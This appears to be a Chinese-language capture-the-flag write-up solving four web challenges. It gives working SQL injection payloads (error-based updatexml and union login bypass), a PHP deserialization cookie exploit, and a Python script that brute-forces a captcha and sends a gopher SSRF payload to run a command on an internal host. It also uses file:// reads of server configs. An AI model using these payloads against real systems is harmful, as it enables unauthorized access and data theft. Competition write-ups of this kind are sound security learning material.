序 补一下,11月份的比赛,太忙一直没时间更新
easy_sql 很明显的注入,但是过滤了一些关键字,比如information、sys等,导致获取不到表名
通过:
uname=1') and updatexml(1,concat(0x3a,(select * from flag)),1);-- -&passwd=1
可以发现存在名为flag表,并且可以获取到里面的数据
但是updatexml这种报错注入方式显示的信息有长度限制,而且这里不知道flag表当中flag的列名,关于无列名注入的问题,直接用子查询就能绕过
获取完整的flag:
uname=1') and updatexml(1,concat(0x3a,(select x.1 from (select * from (select 1)a union select * from flag limit 1,1)x)),1);-- -&passwd=1
uname=1') and updatexml(1,concat(0x3a,(select substr(x.1,32) from (select * from (select 1)a union select * from flag limit 1,1)x)),1);-- -&passwd=1
拼接获得完整的flag:
flag{c7651cb673c911ee8f9977094a220f17}
ezsqli 通过http://121.36.224.156:2333/?hint可以查看提示的代码 :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
function sqlWaf ($s)
{
$filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|\^|\||\ |\'/i' ;
if (preg_match($filter,$s))
return False ;
return True ;
}
if (isset ($_POST['username' ]) && isset ($_POST['password' ])) {
if (!isset ($_SESSION['VerifyCode' ]))
die ("?" );
$username = strval($_POST['username' ]);
$password = strval($_POST['password' ]);
if ( !sqlWaf($password) )
alertMes('damn hacker' ,"./index.php" );
$sql = "SELECT * FROM users WHERE username='${username}' AND password= '${password}'" ;
$result = $conn->query($sql);
if ($result->num_rows > 0 ) {
$row = $result->fetch_assoc();
if ( $row['username' ] === 'admin' && $row['password' ] )
{
if ($row['password' ] == $password)
{
$message = $FLAG;
} else {
$message = "username or password wrong, are you admin?" ;
}
} else {
$message = "wrong user" ;
}
} else {
$message = "user not exist or wrong password" ;
}
}
?>
查看代码,看到存在sqlWaf
函数,该waf函数只对$_POST[password]
参数做了检测
通过代码还能看到获取flag的条件,需要SELECT * FROM users WHERE username='$_POST[username]' AND password= '$_POST[password]'
查询出的$row['username']
为admin,并且$row['password']
等于$_POST[password]
这里构造
username=' union select 1,"admin","1"-- -&password=1&captcha=图形验证码
就可以满足要求,此时sql执行的结果为:$row['username']
为admin,$row['password']
为1,$row['password']
和$_POST['password']
相等
获取到flag:
flag{de3110dce011088cd4add1950a49182f}
warmup 打开后是index.php是一个登录页面
根据题目提示下载源码进行简单的审计
index.php 131-132行
通过addslashes函数对传入的$_POST['username']
和$_POST['password']
进行了处理,防止了sql注入
但是看conn.php当中有可能存在反序列化漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php
include 'flag.php' ;
class SQL {
public $table = '' ;
public $username = '' ;
public $password = '' ;
public $conn;
public function __construct () {
}
public function connect () {
$this ->conn = new mysqli("localhost" , "xxxxx" , "xxxx" , "xxxx" );
}
public function check_login () {
$result = $this ->query();
if ($result === false ) {
die ("database error, please check your input" );
}
$row = $result->fetch_assoc();
if ($row === NULL ){
die ("username or password incorrect!" );
}else if ($row['username' ] === 'admin' ){
$flag = file_get_contents('flag.php' );
echo "welcome, admin! this is your flag -> " .$flag;
}else {
echo "welcome! but you are not admin" ;
}
$result->free();
}
public function query () {
$this ->waf();
return $this ->conn->query ("select username,password from " .$this ->table." where username='" .$this ->username."' and password='" .$this ->password."'" );
}
public function waf () {
$blacklist = ["union" , "join" , "!" , "\"" , "#" , "$" , "%" , "&" , "." , "/" , ":" , ";" , "^" , "_" , "`" , "{" , "|" , "}" , "<" , ">" , "?" , "@" , "[" , "\\" , "]" , "*" , "+" , "-" ];
foreach ($blacklist as $value) {
if (strripos($this ->table, $value)){
die ('bad hacker,go out!' );
}
}
foreach ($blacklist as $value) {
if (strripos($this ->username, $value)){
die ('bad hacker,go out!' );
}
}
foreach ($blacklist as $value) {
if (strripos($this ->password, $value)){
die ('bad hacker,go out!' );
}
}
}
public function __wakeup () {
if (!isset ($this ->conn)) {
$this ->connect ();
}
if ($this ->table){
$this ->waf();
}
$this ->check_login();
$this ->conn->close();
}
}
?>
而在index.php第115行:$last_login_info = unserialize (base64_decode ($_COOKIE['last_login_info']));
这段代码刚好可以触发SQL类
的__wakeup
函数,造成反序列化漏洞,导致SQL类
当中的属性可控
SQL类当中的waf过滤了很多字符
1
$blacklist = ["union" , "join" , "!" , "\"" , "#" , "$" , "%" , "&" , "." , "/" , ":" , ";" , "^" , "_" , "`" , "{" , "|" , "}" , "<" , ">" , "?" , "@" , "[" , "\\" , "]" , "*" , "+" , "-" ];
但是没有过滤单引号,于是构造出poc
1
2
3
4
5
6
7
8
9
<?php
class SQL
{
public $table="users" ;
public $username="' or '1" ;
public $password="' or '1" ;
}
echo base64_encode(serialize(new SQL()));
获得:
TzozOiJTUUwiOjM6e3M6NToidGFibGUiO3M6NToidXNlcnMiO3M6ODoidXNlcm5hbWUiO3M6NzoiJyBvciAnMSI7czo4OiJwYXNzd29yZCI7czo3OiInIG9yICcxIjt9
访问index.php,传入
Cookie: last_login_info=TzozOiJTUUwiOjM6e3M6NToidGFibGUiO3M6NToidXNlcnMiO3M6ODoidXNlcm5hbWUiO3M6NzoiJyBvciAnMSI7czo4OiJwYXNzd29yZCI7czo3OiInIG9yICcxIjt9
获取到flag
flag{5dd2d5f45fw6e6f11ewf1f224f5121e2}
ssrf 比赛时没做出来,说一下当时的思路
首先file协议读了源码:
index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
error_reporting(0 );
session_start();
require_once "lib.php" ;
init();
$is_die = 0 ;
$is_post = 0 ;
$die_mess = '' ;
$url = '' ;
if (isset ($_POST['url' ]) && isset ($_POST['captcha' ]) && !empty ($_POST['url' ]) && !empty ($_POST['captcha' ]))
{
$url = $_POST['url' ];
$captcha = $_POST['captcha' ];
$is_post = 1 ;
if ( $captcha !== $_SESSION['answer' ])
{
$die_mess = "wrong captcha" ;
$is_die = 1 ;
}
if ( preg_match('/flag|proc|log/i' , $url) )
{
$die_mess = "hacker" ;
$is_die = 1 ;
}
}
?>
可以看到过滤了flag,其实这里直接url编码一次就可以绕过了,当时没想到这点,感觉这样解应该算是非预期了
lib.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
session_start();
function curl ($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE );
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE );
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
$output = curl_exec($ch);
curl_close($ch);
return $output;
}
function set_session ()
{
$answer = rand(1 ,100000 );
$_SESSION['captcha' ] = substr(md5($answer),-6 ,6 );
$_SESSION['answer' ] = strval($answer);
}
function destroy_session ()
{
$_SESSION = [];
}
function init ()
{
if (!isset ($_SESSION['captcha' ]) || !isset ($_SESSION['answer' ]) || isset ($_GET['reset' ]))
{
destroy_session();
set_session();
isset ($_GET['reset' ]) ? die ("<script>location.href='./index.php'</script>" ) : 0 ;
}
}
正常的请求读取代码,存在ssrf
端口扫描脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import hashlib
import requests
for port in range(8080 ,65535 ):
session = requests.Session()
url="http://124.71.187.100:8079/index.php"
headers = {"Origin" :"http://124.71.187.100:8079" ,"Accept" :"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8" ,"Upgrade-Insecure-Requests" :"1" ,"User-Agent" :"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" ,"Connection" :"close" ,"Referer" :"http://124.71.187.100:8079/index.php" ,"Accept-Language" :"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" ,"Accept-Encoding" :"gzip, deflate" ,"Content-Type" :"application/x-www-form-urlencoded" }
res=session.get(url,headers=headers).text
code=res.split('== "' )[1 ].split('"' )[0 ]
for i in range(1 ,100000 ):
if hashlib.md5(str(i)).hexdigest()[-6 :]==code:
paramsPost = {"captcha" :"{}" .format(i),"url" :"gopher://127.0.0.1:47852/_POST%2520%252Findex.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A47852%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250AContent-Length%253A%252013%250D%250A%250D%250Acmd%253Dcat%2520%252Ffla%252A%250A" }
response = session.post("http://124.71.187.100:8079/index.php" , data=paramsPost)
print response.text
if len(response.text)!=1046 :
if "wrong captcha" not in response.text:
break
break
跑了一遍,很慢,啥也扫不到
换个思路,因为目前可以读文件,所以先信息搜集一下,读取apache配置文件:file:///etc/apache2/sites-enabled/000-default.conf
<VirtualHost *:80>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
<VirtualHost *:47852>
ServerAdmin secret@localhost
DocumentRoot /var/www/htmlssrf123123
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
读取源码:file:///var/www/htmlssrf123123/index.php
1
2
3
4
5
6
<?php
if (isset ($_POST['cmd' ])){
exec($_POST['cmd' ]);
}
?> </div>
由于exec函数没有回显,所以只能通过反弹shell(不出网)、写入文件(/tmp目录都写不进去)、延时盲注(sleep 5存在延时)进行回显,但是前两种方法均一直不能成功,看了好几篇wp也都是二次url编码的非预期解,不知道是不是题目有问题。